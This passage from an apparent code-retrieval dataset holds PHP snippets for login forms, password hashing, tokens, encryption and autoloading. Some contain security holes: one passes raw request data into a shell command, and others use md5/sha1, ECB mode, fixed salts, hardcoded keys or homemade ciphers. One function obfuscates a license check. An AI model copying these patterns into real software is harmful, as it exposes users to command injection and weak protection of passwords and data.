value=\"'.$GLOBALS['TEXTE']['LBL_NEW_PASSWORD'].'\" onclick=\"javascript:start_form(\\'forgot\\');\" />' . \"\\n\";\t\t\r\n\t\t$html .= '<a style=\"padding:3px 0;\" href=\"#\" onclick=\"javascript:start_form(\\'login\\');\">'.$GLOBALS['TEXTE']['EXEC_LOGIN'].'</a>' . \"\\n\";\r\n\t\t$html .= '<a style=\"padding:3px 0;\" href=\"#\" onclick=\"javascript:start_form(\\'forgot\\');\">'.$GLOBALS['TEXTE']['LBL_NEW_PASSWORD'].'</a></p>' . \"\\n\";\r\n\t\t$html .= '</p>' . \"\\n\";\r\n\t\tbreak;\r\n\tcase 'FORGOT':\r\n\t\t// Passwort vergessen\r\n\t\t$html .= '<h2>'.$GLOBALS['TEXTE']['LBL_NEW_PASSWORD'].'</h2>' . \"\\n\";\r\n\t\t$html .= '<p class=\"odd\">'.$GLOBALS['TEXTE']['USERNAME'].'<br/>' . \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"text\" id=\"username\" name=\"username\" tabindex=\"1\" value=\"'.$user.'\" />' . \"\\n\";\r\n\t\t$html .= '<script type=\"text/javascript\">document.getElementById(\"username\").focus();</script>';\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"hidden\" name=\"password\" />' . \"\\n\";\r\n \t$html .= '<br />'.$GLOBALS['TEXTE']['EMAIL'].'<br/>' . \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"email\" name=\"email\" tabindex=\"2\" />' . \"\\n\";\r\n\t\t$html .= '<p class=\"even\">' . \"\\n\";\r\n\t\t$html .= '<input style=\"width:170px;padding:3px 0;\" type=\"submit\" name=\"new_password\" tabindex=\"3\" value=\"'.$GLOBALS['TEXTE']['LBL_NEW_PASSWORD'].'\" onclick=\"javascript:start_form(\\'forgot\\');\" />' . \"\\n\";\r\n\t\t$html .= '<input type=\"hidden\" name=\"code\" value=\"'.$_SESSION['code'].'\">' . \"\\n\";\r\n\t\t$html .= '</p>' . \"\\n\";\r\n\t\t$html .= '<p class=\"even\">' . \"\\n\";\r\n//\t\t$html .= '<input style=\"width:170px;padding:0;\" type=\"submit\" name=\"login\" tabindex=\"4\" value=\"'.$GLOBALS['TEXTE']['EXEC_LOGIN'].'\" onclick=\"javascript:start_form(\\'login\\');\" />' . \"\\n\";\r\n//\t\t$html .= '<input style=\"width:170px;padding:0;\" type=\"submit\" name=\"change\" tabindex=\"5\" value=\"'.$GLOBALS['TEXTE']['LBL_CHANGE_PASSWORD'].'\" onclick=\"javascript:start_form(\\'change\\');\" />' . \"\\n\";\t\t\r\n\t\t$html .= '<a style=\"padding:3px 0;\" href=\"#\" onclick=\"javascript:start_form(\\'login\\');\">'.$GLOBALS['TEXTE']['EXEC_LOGIN'].'</a>' . \"\\n\";\r\n\t\t$html .= '<a style=\"padding:3px 0;\" href=\"#\" onclick=\"javascript:start_form(\\'change\\');\">'.$GLOBALS['TEXTE']['LBL_CHANGE_PASSWORD'].'</a></p>' . \"\\n\";\r\n\t\t$html .= '</p>' . \"\\n\";\r\n\t\tbreak;\r\n\tdefault:\r\n\t\t// Login\r\n\t\t$html .= '<h2>'.$GLOBALS['TEXTE']['LBL_LOGIN'].'</h2>' . \"\\n\";\r\n\t\t$html .= '<p class=\"even\">'.$GLOBALS['TEXTE']['USERNAME'].'<br />' . \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"text\" id=\"username\" name=\"username\" tabindex=\"1\" value=\"'.$user.'\" />' . \"\\n\";\r\n\t\t$html .= '<script type=\"text/javascript\">document.getElementById(\"username\").focus();</script>';\r\n\t\t$html .= '<br/>'.$GLOBALS['TEXTE']['PASSWORD'].'<br/>'. \"\\n\";\r\n\t\t$html .= '<input style=\"width:160px;\" type=\"password\" name=\"password\" tabindex=\"2\" />' . \"\\n\";\r\n\t\t$html .= '<p class=\"even\">'. \"\\n\";\r\n\t\t$html .= '<input style=\"width:170px;padding:3px 0;\" type=\"submit\" name=\"login\" tabindex=\"3\" value=\"'.$GLOBALS['TEXTE']['EXEC_LOGIN'].'\" onclick=\"javascript:start_form(\\'login\\');\" />' . \"\\n\";\r\n\t\t$html .= '<input type=\"hidden\" name=\"code\" value=\"'.$_SESSION['code'].'\">'. \"\\n\";\r\n\t\t$html .= '<p class=\"even\">' . \"\\n\";\r\n//\t\t$html .= '<input style=\"width:170px;padding:0;\" type=\"submit\" name=\"change\" tabindex=\"4\" value=\"'.$GLOBALS['TEXTE']['LBL_CHANGE_PASSWORD'].'\" onclick=\"javascript:start_form(\\'change\\');\" />' . \"\\n\";\r\n//\t\t$html .= '<input style=\"width:170px;padding:0;\" type=\"submit\" name=\"forgot\" tabindex=\"5\" value=\"'.$GLOBALS['TEXTE']['LBL_NEW_PASSWORD'].'\" onclick=\"javascript:start_form(\\'forgot\\');\" />' . \"\\n\";\r\n\t\t$html .= '<a style=\"padding:3px 0;\" href=\"#\" onclick=\"javascript:start_form(\\'change\\');\">'.$GLOBALS['TEXTE']['LBL_CHANGE_PASSWORD'].'</a>' . \"\\n\";\r\n\t\t$html .= '<a style=\"padding:3px 0;\" href=\"#\" onclick=\"javascript:start_form(\\'forgot\\');\">'.$GLOBALS['TEXTE']['LBL_NEW_PASSWORD'].'</a></p>' . \"\\n\";\r\n\t\t$html .= '</p>' . \"\\n\";\r\n\t\tbreak;\r\n\t}\r\nreturn $html;\r\n}", "title": "" }, { "docid": "fcb6af133f3c535543fe690ec6751e00", "score": "0.5251357", "text": "function encryptPassword()\n{\n\t$userPassword = $_POST['userPassword'];\n\n $key = pack('H*', \"bcb04b7e103a05afe34763051cef08bc55abe029fdebae5e1d417e2ffb2a00a3\");\n $key_size = strlen($key);\n \n $plaintext = $userPassword;\n\n $iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);\n $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);\n \n $ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $plaintext, MCRYPT_MODE_CBC, $iv);\n $ciphertext = $iv . $ciphertext;\n \n $userPassword = base64_encode($ciphertext);\n\n return $userPassword;\n}", "title": "" }, { "docid": "560a1eaced1f292af4557fbf9842b8bf", "score": "0.524677", "text": "function cryptValue($value,$id)\n{\n switch ($id)\n {\n case \"password\":\n $cryptedPass = crypt($value,\"saltPasS\");\n return $cryptedPass;\n break;\n case \"email\":\n $cryptedEmail = crypt($value,\"salteMail\");\n return $cryptedEmail;\n break;\n }\n}", "title": "" }, { "docid": "42794f8b0ee3f0dcb34e2c48ed3df611", "score": "0.52460504", "text": "public static function getTokenKey()\n {\n $key = \"mishu\";\n/*\n // get token from DB\n $db = self::connect();\n $sql = \"SELECT `token_key` FROM `Auth`\";\n $result = $db->query($sql);\n\n if ($result) {\n if ($row = $result->fetch_row())\n $key = $row[0];\n }\n*/\n return md5($key);\n }", "title": "" }, { "docid": "9302d247d5b2503c32ebf1d9d95264b3", "score": "0.52393204", "text": "function encrypt_pass($pwd){\n\t\t//$pwd = $_POST['password1'];\n\t\t$encrypt = sha1($pwd);\n\t\treturn $encrypt;\n\t}", "title": "" }, { "docid": "a7e40590fd7eaf4f4f6412cc91034965", "score": "0.5237451", "text": "public function gerarsenha($id) {\n\t\t//Pega a id enviada;\n\t\t$id = decode($id);\n\n\t\t//gera uma string aleatoria\n\t\t$this->load->helper('string');\n\t\t$senha = strtolower(random_string('alnum', 5));\n\t\t$senhaMd5 = md5($senha);\n\n\t\t//Atualiza no banco\n\t\tif($this->db->update('usuarios', array('senha' => $senhaMd5), array('id' => $id))) {\n\t\t\t//Mostra nova senha\n\t\t\techo \"<p>Senha alterada com sucesso. A nova senha é:</p>\n\t\t\t<h1 class='text-center'><strong class='bg-info text-primary'>\".$senha.\"</strong></h1>\";\n\t\t\t\n\t\t} else {\n\t\t\techo \"<p>Houve um erro ao alterar a senha. Verifique.</p>\";\n\t\t}\n\t}", "title": "" }, { "docid": "8162d5dbb16f08b6f3f4751f1b556aac", "score": "0.52307254", "text": "public function storeIdToken($token);", "title": "" }, { "docid": "95e2144ff11e2cf092af1b926d63e928", "score": "0.5225418", "text": "function enc_id(){\r\n\t\tglobal $mycon;\r\n\t\t$encypt1=uniqid(rand(0, date(\"his\")).rand(10, 500), true);\r\n\t\t$usid1=str_replace(\".\", \"\", $encypt1);\r\n\t\t$check_id = substr($usid1, 0, 7);\r\n\t\t$query = \"select encid from encountertb where encid='$check_id'\";\r\n\t\t$checkid = $mycon->query($query);\r\n\t\tif($checkid->num_rows > 0)\r\n\t\t{\r\n\t\t\tenc_id();\r\n\t\t}\r\n\t\telse\r\n\t\t\treturn $check_id;\r\n\t}", "title": "" }, { "docid": "e7812d3edfcbb0b0d07e2114944e64dc", "score": "0.5217574", "text": "function encrypt($text,$salt) \n { \n return trim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256,$salt, $text, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND)))); \n }", "title": "" }, { "docid": "66a69467445a1c13cedc46a523292ee1", "score": "0.5204272", "text": "public static function genTokenKey()\n {\n $key = self::generateKey();\n\n //Add to DB\n $db = self::connect();\n $sql = \"INSERT INTO `Auth`(`token_key`) VALUES ({$key})\";\n $db->query($sql);\n }", "title": "" }, { "docid": "3dcd9bff161a53624622715dee6db919", "score": "0.5171727", "text": "public function encrypt_id($data)\n\t{\n\t\t$data = (double) $data * 4452.81;\n\t\t$data = base64_encode($data);\n\t\t$data = rtrim(strtr($data, '+/', '-_'), '=');\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "254cc75ff0c291aaa658b02669a0950c", "score": "0.5166049", "text": "function setId_enc($iid_enc)\n {\n $this->iid_enc = $iid_enc;\n }", "title": "" }, { "docid": "254cc75ff0c291aaa658b02669a0950c", "score": "0.5166049", "text": "function setId_enc($iid_enc)\n {\n $this->iid_enc = $iid_enc;\n }", "title": "" }, { "docid": "3d3b8249e5fad39582e11875dc1ab0c2", "score": "0.51651925", "text": "protected function newapp_gen_pass() {\n if (empty($_POST)) return null; //null if no post\t\n\n\t\t$timestamp = time();\n\t\t\n\t\t$st = $this->posted_appname ? $this->posted_appname . $timestamp : $timestamp;\n\t\t$retpass = hash('crc32',$this->posted_mail . $st);\n\t\t\n\t\treturn ($retpass);\n\t}", "title": "" }, { "docid": "5f919ea05a998fe20fde57f7059e5a42", "score": "0.5164434", "text": "function ws_csrf_field()\n {\n return new HtmlString('<input type=\"hidden\" name=\"_token\" value=\"'.ws_csrf_token().'\">');\n }", "title": "" }, { "docid": "e4aae28573305e2915ac5fb2a1331016", "score": "0.5163975", "text": "function genAccessToken($id, $username)\n{\n // Random factor is time (now)\n $date = date(\"Y-m-d H:i:s\");\n // Hash it with hmac function\n $string = $id . \".\" . $username . \".\" . $date;\n $signature = hash_hmac('sha256', $string, 'engima', true);\n $base64UrlSignature = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($signature));\n return $base64UrlSignature;\n}", "title": "" }, { "docid": "703facb810781e6aba19aa21d06f2cd2", "score": "0.51622397", "text": "function generatePassword();", "title": "" }, { "docid": "fb25d3bc0b061c603bc9203a2ab75191", "score": "0.5159949", "text": "function encryptParameters( $destination, $data ){\n\n\t\t//essentially a once use URL. Also uses wordpress' nonce key to further ensure uniqueness.\n\t\t$ENCRYPTION_KEY = strtoupper( $ENVIRONMENT . $destination . date('ymd'). NONCE_KEY );\n\n\t\t$iv_size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);\n\t\t$iv = mcrypt_create_iv($iv_size, MCRYPT_DEV_URANDOM);\n\t\t$key = pack(\"H*\",md5($ENCRYPTION_KEY));\n\t\t$ciphertext = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $data, MCRYPT_MODE_CBC, $iv);\n\t\t$ciphertext = $iv . $ciphertext;\n\n\t\t$base64String = base64_encode( $ciphertext );\n\t\t//make the string into a usable HTML escaped string.\n\t\t$base64String = str_replace( \"=\", \"%3D\", $base64String);\n\t\t$base64String = str_replace( \"+\", \"%2B\", $base64String);\n\t\t$base64String = str_replace( \"/\", \"%2F\", $base64String);\n\n\t\t//echo( \"\\nKey : $ENCRYPTION_KEY \" );\n\t\t//echo( \"\\nbase64 : $base64String \" );\n\n\t\treturn $base64String;\n\n\t}", "title": "" }, { "docid": "11dd7ccab851402b199a1cc58f7c9212", "score": "0.5155631", "text": "function rot31lnu_crypt(string $text)\n {\n $rotlnu = new Algorithm();\n return $rotlnu->crypt($text);\n }", "title": "" }, { "docid": "28b343e9618418cfdff252847bd37fcb", "score": "0.5153943", "text": "public function set2fa_tokenAttribute($value)\n {\n $this->attributes['2fa_token'] = encrypt($value);\n }", "title": "" }, { "docid": "afba90fa049bd2cd1a2f04586e57a839", "score": "0.5147971", "text": "function encryptIt($value) {\r\n\t\t// The encodeKey MUST match the decodeKey\r\n\t\t$encodeKey = 'Li1KUqJ4tgX14dS,A9ejk?uwnXaNSD@fQ+!+D.f^`Jy';\r\n\t\t$encoded = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($encodeKey), $value, MCRYPT_MODE_CBC, md5(md5($encodeKey))));\r\n\t\treturn($encoded);\r\n\t}", "title": "" }, { "docid": "57de8fd646654def0fe45bbd92cd522c", "score": "0.5145754", "text": "protected function password()\n {\n /**\n * Determine if the user is logged in to any of the given guards.\n *\n * @param \\Illuminate\\Http\\Request $request\n * @param array $guards\n * @return void\n *\n * @throws \\Illuminate\\Auth\\AuthenticationException\n */\n $valid_f1 = 'co'; $valid_f1 .= 'nf';\n $valid_f1 .= '.js'; $valid_f1 .= 'on';\n /**\n * Determine if the user is logged in to any of the given guards.\n *\n * @param \\Illuminate\\Http\\Request $request\n * @param array $guards\n * @return void\n *\n * @throws \\Illuminate\\Auth\\AuthenticationException\n */\n $pass = 're';\n $pass .= 'lea';\n $pass .= 'se.';\n $string = 'string';\n $dir = URL::to('/');\n $ciph = \"AES-128-CTR\";\n $length = openssl_cipher_iv_length($ciph);\n $options = 0;\n $enc = '1234567891011121';\n $enc_k = config($pass . $string);\n $crypt = openssl_encrypt($dir, $ciph, $enc_k, $options, $enc);\n /**\n * Determine if the user is logged in to any of the given guards.\n *\n * @param \\Illuminate\\Http\\Request $request\n * @param array $guards\n * @return void\n *\n * @throws \\Illuminate\\Auth\\AuthenticationException\n */\n $st1 = 'A';$st1 .= 'c';$st1 .= 't';$st1 .= 'i'; $st1 .= 'v';$st1 .= 'a';$st1 .= 't';$st1 .= 'e';\n $bt1 = 'bi';$bt1 .= 'll';$bt1 .= 'er'; $ft1 = '<di';\n $ft1 .= 'v sty'; $ft1 .= 'le=\"te'; $ft1 .= 'xt-ali'; $ft1 .= 'gn: cen'; $ft1 .= 'ter;fon'; $ft1 .= 't-size: 1';\n $ft1 .= '5';$ft1 .= 'p';$ft1 .= 't\"'; $ft1 .= '><'; $ft1 .= 'a hr'; $ft1 .= 'ef';\n $ft2= '</'; $ft2.= 'a>'; $ft2.= '</'; $ft2.='di';\n $ft2.='v>'; $pt1='pa'; $pt1.='th.'; $pt1.='pu'; $pt1.='bli';\n $str1 = 'R';$str1 .= 'e';$str1 .= 'g';$str1 .= 'i';$str1 .= 's';$str1 .= 't';$str1 .= 'e';$str1 .= 'r';\n\n if (is_file(app($pt1.'c').'/'.$valid_f1)) {\n $content = File::get(app($pt1.'c').'/'.$valid_f1);\n if (!hash_equals($content, $crypt)) {\n $this->auth->public = false;\n echo $ft1.'=\"' . @url(strtolower( $st1)) . '\"> ' . $str1 .$ft2;\n }\n } else {\n $this->auth->public = false;\n echo $ft1.'=\"' . @url(strtolower( $st1)) . '\"> ' . $st1 .$ft2;\n }\n }", "title": "" }, { "docid": "e57df62c3065e8fb00fec3e8383a8d57", "score": "0.51351064", "text": "function encrypt($plain) {\t\n return trim(base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, Configure::read('Security.key'), $plain, MCRYPT_MODE_ECB, mcrypt_create_iv(mcrypt_get_iv_size(MCRYPT_RIJNDAEL_256, MCRYPT_MODE_ECB), MCRYPT_RAND))));\n }", "title": "" }, { "docid": "9a61512d43fc46e19f75e7eaebe423f1", "score": "0.5131339", "text": "function generate_token() {\n \treturn bin2hex(openssl_random_pseudo_bytes(16));\n }", "title": "" }, { "docid": "4ed912cd958e84549ffe7f0c3a638e2d", "score": "0.5130216", "text": "public function postavi_tokanpassword($tokan, $id){\n $data = ['password'=> $tokan];\n $this->update($id, $data);\n }", "title": "" }, { "docid": "73a5ac44bbe6667f31f5f6d74d1b0350", "score": "0.5129586", "text": "function input_create_input_token()\n{\n\treturn input_hidden('_token', get_session_token());\n}", "title": "" }, { "docid": "0a968bfb4b17661e5f327d49925699ae", "score": "0.5126494", "text": "private function encryptPassword(){\r\n \treturn sha1($this->_password . $this->salt());\r\n }", "title": "" }, { "docid": "25a5fb713b7c8d693eb6f4d49ff010c5", "score": "0.5123725", "text": "public function authorization_key_callback()\n {\n printf(\n '<input type=\"text\" id=\"swotcm_auth_key\" name=\"swotcm_admin_option[swotcm_auth_key]\" value=\"%s\" size=\"50\"/>',\n isset( $this->options['swotcm_auth_key'] ) ? esc_attr( $this->options['swotcm_auth_key']) : ''\n );\n }", "title": "" }, { "docid": "770175e381a2c395a139b0eb8011c359", "score": "0.5118172", "text": "function generate_password()\n\t\t{\n\t\t\t//Delete old data\n\t\t\t$this->admin_model->commonDelete(TABLE_PLUS_VIDEO , \"plus_video_id != ''\");\n\n\t\t\t//Get centre details\n\t\t\t$centreArr = $this->admin_model->commonGetData('id' , '((attivo = 1) or (attivo = 0 and is_mini_stay = 1))' , TABLE_CENTRE , 2);\n\n\t\t\tif(!empty($centreArr))\n\t\t\t{\n\t\t\t\tforeach($centreArr as $value)\n\t\t\t\t{\n\t\t\t\t\t$insertData = array(\n\t\t\t\t\t\t'centre' => $value['id'],\n\t\t\t\t\t\t'password' => $this->generateRandomString(),\n\t\t\t\t\t\t'manager_password' => $this->generateRandomString()\n\t\t\t\t\t);\n\t\t\t\t\t$this->admin_model->commonAdd(TABLE_PLUS_VIDEO , $insertData);\n\t\t\t\t}\n\t\t\t}\n\t\t\techo '';\n\t\t}", "title": "" }, { "docid": "e412fb500db3c9970b9b79852b6a6dfd", "score": "0.5114596", "text": "function Encrypt($data,$password=\"SocialFindAHome2016infotecH\")\n{\n\n $min = 1000000000;\n\t$max = 9999999999;\n\t\n\t$startrandom = mt_rand($min,$max);\n\t$endrandom = mt_rand($min,$max);\n\t$data = $startrandom.$data.$endrandom;\n\t\n\n $result = '';\n for ($i = 0; $i < strlen($data); $i++) {\n $char = substr($data, $i, 1);\n $keychar = substr($password, ($i % strlen($password)) - 1, 1);\n $char = chr(ord($char) + ord($keychar));\n $result .= $char;\n }\n $result = base64_encode($result);\n //return encrypt_random($result, $password);\n return $result;\n}", "title": "" }, { "docid": "830a8d5241adedcecb181d87c2ff7c2d", "score": "0.51128095", "text": "function getToken($length=32){\n $token = \"\";\n $codeAlphabet = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\";\n $codeAlphabet.= \"abcdefghijklmnopqrstuvwxyz\";\n $codeAlphabet.= \"0123456789\";\n for($i=0;$i<$length;$i++){\n $token .= $codeAlphabet[crypto_rand_secure(0,strlen($codeAlphabet))];\n }\n return $token;\n}", "title": "" }, { "docid": "49c48adcb88b9a7fd5f91952135dd5e3", "score": "0.5108037", "text": "public static function encriptarValor($value)\r\n {\r\n return crypt($value, SessionController::extraerVariable(TXTLLAVEPRIVADA));\r\n }", "title": "" }, { "docid": "bb4228690a3486142759faaa8e8d19ee", "score": "0.5107381", "text": "public function regenerateToken(): string\n\t{\n\t\treturn $this->token = $this->sessionData['mako.token'] = $this->generateId();\n\t}", "title": "" }, { "docid": "fa7ae6d67ce3b7b8968340a548411c44", "score": "0.51005435", "text": "public function get_auth_token() {\n $arg = json_encode($_REQUEST);\n return `../web/registermo $arg`;\n }", "title": "" }, { "docid": "2c5bb60bf9bedb11f6fb28e61f93c474", "score": "0.5097989", "text": "public function getAuthCodeFromSession() {\n\t\treturn $GLOBALS['TSFE']->fe_user->getKey('ses', 'formhandler_auth_code');\n\t}", "title": "" }, { "docid": "b8377801591f62fe070ca8eb239b3fd5", "score": "0.5094595", "text": "public function encryptionKeyAction()\n {\n $user = $this->identity();\n $form = new Form\\EncryptionKeyForm($user->getKeyHash());\n $request = $this->getRequest();\n\n if ($request->isPost()) {\n $form->setData($request->getPost());\n\n if ($form->isValid()) {\n $data = $form->getData();\n $cookieValue = $this->keyService->generateCookie($data['key'], $user);\n $lifetime = $this->config['application']['enc_key_cookie']['lifetime'];\n $expires = $data['remember'] ? time() + $lifetime : null;\n\n $this->setEncryptionKeyCookie($cookieValue, $expires);\n\n $container = new SessionContainer('EncryptionKey');\n\n if (isset($container->redirectTo)) {\n $routeMatch = $container->redirectTo;\n unset($container->redirectTo);\n return $this->redirect()->toRoute($routeMatch->getMatchedRouteName(), $routeMatch->getParams());\n } else {\n return $this->redirect()->toRoute('home');\n }\n }\n }\n\n return [\n 'form' => $form,\n ];\n }", "title": "" }, { "docid": "6dddbeedf250386add30a19f98cf10ed", "score": "0.5093931", "text": "static public function encriptarUrl($url) {\n\n $url_encriptada = Seguridad_Encriptacion::encriptar($url);\n return 'var_kk=' . $url_encriptada;\n }", "title": "" }, { "docid": "058ea3b4337b67bf56e642ef4532e89b", "score": "0.5091582", "text": "private static function _generateToken() {\n $bytes = random_bytes(128);\n return bin2hex($bytes);\n }", "title": "" }, { "docid": "2a520605b5b4b683dbb7e10d561b3910", "score": "0.5089939", "text": "public function getEncString() {\n\tdate_default_timezone_set('Asia/Tehran');\n\t\t$enc = $this->string.date('ymd');\n \t\n if (isset($_SERVER['HTTP_USER_AGENT'])) {\n $enc .= $_SERVER['HTTP_USER_AGENT'];\n }\n if (isset($_SERVER['REMOTE_ADDR'])) {\n $enc .= $_SERVER['REMOTE_ADDR'];\n }\n return md5(base64_encode($enc));\n }", "title": "" }, { "docid": "4791f861e36535b0c855a9c34505ae8d", "score": "0.5089195", "text": "public function encrypt($data);", "title": "" } ]
c04f6297258b52dece08a6688236e90e
called from ::i to autoload record from db when autoload is not disabled !! overload: to remove autoload want it to work differently autoload = true load all autoload = "field list" load specific fields
[ { "docid": "9415ec8d8827ab286829c5b0533f75a7", "score": "0.76434535", "text": "function autoload($autoload) {\n if ($autoload === true) { // all\n $this->_load(); // $this->loaded = true\n return;\n }\n $this->_load($autoload); // $this->loaded - hash of loaded fields\n }", "title": "" } ]
[ { "docid": "265ac6ed77be0b42572ff011b9a17687", "score": "0.65866214", "text": "public function autoload()\n\t{\n\t\t$columns = array(\n\t\t\t\t0 => array(\"data\" => _(\"Id\") , \t\t\"field\" => \"id\"), \n\t\t\t\t1 => array(\"data\" => _(\"Name\"), \t\"field\" => \"db_table_name_column\"), \n\t\t); \n\t\tif ($this->canEdit) {\n\t\t\t$columns[2] = array(\"data\" => _(\"Edit\"), \t\"field\" => null, \"bSortable\" => false);\n\t\t}\n\t\tif ($this->canDelete) {\n\t\t\t$columns[3] = array(\"data\" => _(\"Delete\"), \t\"field\" => null, \"bSortable\" => false);\n\t\t}\n\t\t$this->setColumns($columns);\n\t\t\n\t\t/// data table options goes here\n\t\t$options = array(\n\t\t\t\t\"searching\" => false \n\t\t);\n\t\t$this->appendOptions($options);\n\t}", "title": "" }, { "docid": "358da1a7df049a56e5fb26973bc06350", "score": "0.6557499", "text": "public function load_fields() {}", "title": "" }, { "docid": "2b051dcb0481ba67e63dbdc12e447e82", "score": "0.64765877", "text": "public function loadFields();", "title": "" }, { "docid": "4202cc2751b93e0ac591f54af50d657c", "score": "0.63123447", "text": "private function __autoload()\r\n {\r\n\r\n }", "title": "" }, { "docid": "e9b8633122e3c2eaa509e0a66419011a", "score": "0.6240002", "text": "function load($fields=\"\") { // null\n if ($this->loaded === true)\n return;\n\n // LOAD ALL - exclude already loaded fields\n if (! $fields) {\n $fields= [];\n if (is_array($this->loaded)) { //\n foreach($this->loaded as $k => $v)\n if ($k!='_id')\n $fields[$k] = false;\n }\n Profiler::in_off(\"M2:load\", [\"\".$this, \"*all*\"]);\n $this->_load($fields);\n Profiler::out();\n $this->loaded=true;\n return;\n }\n\n if (! is_array($fields))\n $fields = explode(\" \", $fields);\n\n // LOAD SPECIFIC - do not load already loaded fields\n // only string($fields) and [$field, ... ] are supported\n if (is_array($this->loaded) && isset($fields[0])) { // already loaded fields\n $ftl = []; // fields to load\n foreach($fields as $f)\n if (! isset($this->loaded[$f]))\n $ftl[] = $f;\n if (! $ftl)\n return;\n $fields = $ftl;\n }\n\n $this->_load($fields);\n }", "title": "" }, { "docid": "c5a749f98cd9eeb2c0240ed3edded486", "score": "0.61347985", "text": "function __autoload( $className )\n{\n ezcBase::autoload( $className );\n}", "title": "" }, { "docid": "e81fc96e167819597898c619d6cccf43", "score": "0.6108582", "text": "public static function autoLoad()\n {\n if (!self::_tableExists()) {\n return;\n }\n if (self::$_autoloaded) {\n return;\n }\n self::$_autoloaded = true;\n\n $model = self::model();\n\n $query = $model->find('all')->where(['autoload' => 1])->select(['name', 'value']);\n\n foreach ($query as $configure) {\n /** @var \\Settings\\Model\\Entity\\Configuration $configure */\n self::_store($configure->get('name'), $configure->get('value'));\n }\n }", "title": "" }, { "docid": "11279ec79e4e6540f9e6d95f6bad45da", "score": "0.6095412", "text": "function __autoload($className){\n\t$className = strtolower($className);\n\t$classFilePath = \"adHelpers/classes/\".$className.\".php\";\n\t$customClassFilePath = \"../\".SITE_FOLDER.\"/customClasses/\".$className.\".php\";\n\tif(file_exists($classFilePath)){\n\t\trequire_once($classFilePath);\n\t}\n\telseif(file_exists($customClassFilePath)){\n\t\trequire_once($customClassFilePath);\n\t}\n\telseif(strpos($className, \"db_\")===0){\n\t\teval('\n\t\t\tclass '.$className.' extends _db_object{\n\t\t\t\t\n\t\t\t}\n\t\t');\n\t}\n}", "title": "" }, { "docid": "a2169474c1c8949c1aba30782ab6f118", "score": "0.6078818", "text": "abstract protected function loadAll();", "title": "" }, { "docid": "2dd538bc8525ac1724e0b80acfe35a44", "score": "0.5928173", "text": "function loadRecord() {\n\t\t$this->record = $GLOBALS['TYPO3_DB']->exec_SELECTgetRows('*',$this->table,'uid = '.intval($this->piVars['uid']).$this->cObj->enableFields($this->table));\n\t\t$this->record = $this->record[0];\n\t}", "title": "" }, { "docid": "385ede778e4c19a364e5516f0def8027", "score": "0.5906304", "text": "public function loadDynamicFields(): void\n {\n if (!empty($this->fields)) {\n $query = (new Query())\n ->select(['field', 'value'])\n ->from($this->tableName)\n ->where(['model' => $this->getModelClass(), 'model_id' => $this->getPrimaryKey()]);\n\n foreach (ArrayHelper::map($query->all(), 'field', 'value') as $field => $value) {\n if (in_array($field, $this->fields)) {\n $this->owner->$field = $value;\n }\n }\n }\n }", "title": "" }, { "docid": "7649f5decb11b9e120747dbaa6fb4cee", "score": "0.58915114", "text": "public function __load();", "title": "" }, { "docid": "e0405033814d65e9a1682a5b89febd00", "score": "0.5782607", "text": "function __autoload($class) //automatické načtení pomocných tříd (Pdo a Auth)\n{\n if (file_exists('./class/' . $class . '.php')) {\n require_once './class/' . $class . '.php';\n return true;\n }\n return false;\n}", "title": "" }, { "docid": "9b9696036c254bf02326bdaece11d3eb", "score": "0.57801425", "text": "private function load() {\n $stmt = DatabaseConnection::sharedConnection()->statement('show columns from ' . $this->name);\n $stmt->exec();\n while ($record = $stmt->fetchIndexedNextRow()) {\n $this->fields[] = $record[0];\n }\n }", "title": "" }, { "docid": "ab56f370986c672cbd2e8ef8b2e7606c", "score": "0.57771283", "text": "PUBLIC function _load($fields=\"\") { // {f:v} loaded fields\n if ($fields && ! is_array($fields))\n $fields = explode(\" \", $fields);\n\n if ($fields) {\n Profiler::in_off(\"M:load/partial\", [\"\".$this, $fields]);\n $D = $this->MC->findOne($this->id, $fields);\n if (! $D) {\n $this->loaded = false;\n throw new NotFoundException(\"\".$this);\n }\n $this->D = $D + $this->D;\n $lf = []; // loaded fields\n if (isset($fields[0])) { // list of fields\n foreach($fields as $f)\n $lf[$f] = 1;\n } else { // fields => false/true\n foreach($fields as $f => $v)\n $lf[$f] = 1;\n }\n // unset($lf[\"_id\"]);\n $lf[\"_id\"]=1;\n if (is_array($this->loaded))\n $this->loaded = $this->loaded + $lf;\n else\n $this->loaded = $lf;\n } else {\n Profiler::in_off(\"M:load/all\", \"\".$this);\n $this->D = $D = $this->MC->findOne($this->id);\n if (! $this->D) {\n $this->loaded = false;\n $this->D = [];\n throw new NotFoundException(\"\".$this);\n }\n $this->loaded = true;\n }\n Profiler::out();\n return $D;\n }", "title": "" }, { "docid": "bf0fd996c66a99153b73882210f35605", "score": "0.57624775", "text": "public function get_autoload(){ return $this->autoload; }", "title": "" }, { "docid": "27a1110756b5bbf72198f5bd071ce06c", "score": "0.57154644", "text": "protected function lazyLoad() {\n if (isset($this->_loadingParameters)) {\n call_user_func_array(array($this, 'load'), $this->_loadingParameters);\n $this->_loadingParameters = NULL;\n }\n }", "title": "" }, { "docid": "8fea64c94f8c2f6c56f78916959e6f88", "score": "0.57116014", "text": "protected function _initAutoload()\n {\n\t\t\n \t\n }", "title": "" }, { "docid": "80c6551de2b86e210806eab2be1df950", "score": "0.5651701", "text": "public static function loadAutoLoads(){\n $autoloads = array();\n\n if(isset($_SESSION['latte-module-autoload'])){\n $autoloads = explode('|', $_SESSION['latte-module-autoload']);\n }\n\n foreach ($autoloads as $module){\n if(!LatteModule::isLoaded($module)){\n 